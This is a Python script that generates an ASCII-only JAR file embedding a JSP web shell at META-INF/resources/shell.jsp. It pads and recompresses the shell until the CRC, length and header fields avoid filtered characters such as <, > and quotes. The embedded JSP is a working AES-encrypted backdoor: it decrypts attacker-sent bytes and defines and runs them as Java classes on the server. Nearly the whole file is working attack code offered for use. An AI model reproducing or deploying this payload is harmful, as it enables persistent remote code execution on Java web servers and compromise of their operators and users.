ascii-jar-2.py

#!/usr/bin/env python
# autor: c0ny1
# date 2022-02-13
from __future__ import print_function

import time
from compress import *

allow_bytes = []
disallowed_bytes = [38,60,39,62,34,40,41] # &<'>"()
for b in range(0,128): # ASCII
    if b in disallowed_bytes:
        continue
    allow_bytes.append(b)


if __name__ == '__main__':
    padding_char = 'A'
    raw_filename = 'shell.jsp'
    zip_entity_filename = 'META-INF/resources/shell.jsp'
    jar_filename = 'ascii02.jar'
    num = 1
    while True:
        # step1 动态生成java代码并编译
        javaCode = """
<!-- {PADDING_DATA} -->
<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>
            """
        padding_data = padding_char * num
        javaCode = javaCode.replace("{PADDING_DATA}", padding_data)

        f = open(raw_filename, 'w')
        f.write(javaCode)
        f.close()
        time.sleep(0.1)

        # step02 计算压缩之后的各个部分是否在允许的ASCII范围
        raw_data = bytearray(open(raw_filename, 'rb').read())
        compressor = ASCIICompressor(bytearray(allow_bytes))
        compressed_data = compressor.compress(raw_data)[0]
        crc = zlib.crc32(raw_data) % pow(2, 32)

        st_crc = struct.pack('<L', crc)
        st_raw_data = struct.pack('<L', len(raw_data) % pow(2, 32))
        st_compressed_data = struct.pack('<L', len(compressed_data) % pow(2, 32))
        st_cdzf = struct.pack('<L', len(compressed_data) + len(zip_entity_filename) + 0x1e)


        b_crc = isAllowBytes(st_crc, allow_bytes)
        b_raw_data = isAllowBytes(st_raw_data, allow_bytes)
        b_compressed_data = isAllowBytes(st_compressed_data, allow_bytes)
        b_cdzf = isAllowBytes(st_cdzf, allow_bytes)

        # step03 判断各个部分是否符在允许字节范围
        if b_crc and b_raw_data and b_compressed_data and b_cdzf:
            print('[+] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}'.format(b_crc, b_raw_data, b_compressed_data, b_cdzf, num, padding_char))
            # step04 保存最终ascii jar
            output = open(jar_filename, 'wb')
            output.write(wrap_jar(raw_data,compressed_data, zip_entity_filename.encode()))
            print('[+] Generate {0} success'.format(jar_filename))
            break
        else:
            print('[-] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}'.format(b_crc, b_raw_data,
                                                                                       b_compressed_data, b_cdzf, num,
                                                                                       padding_char))
        num = num + 1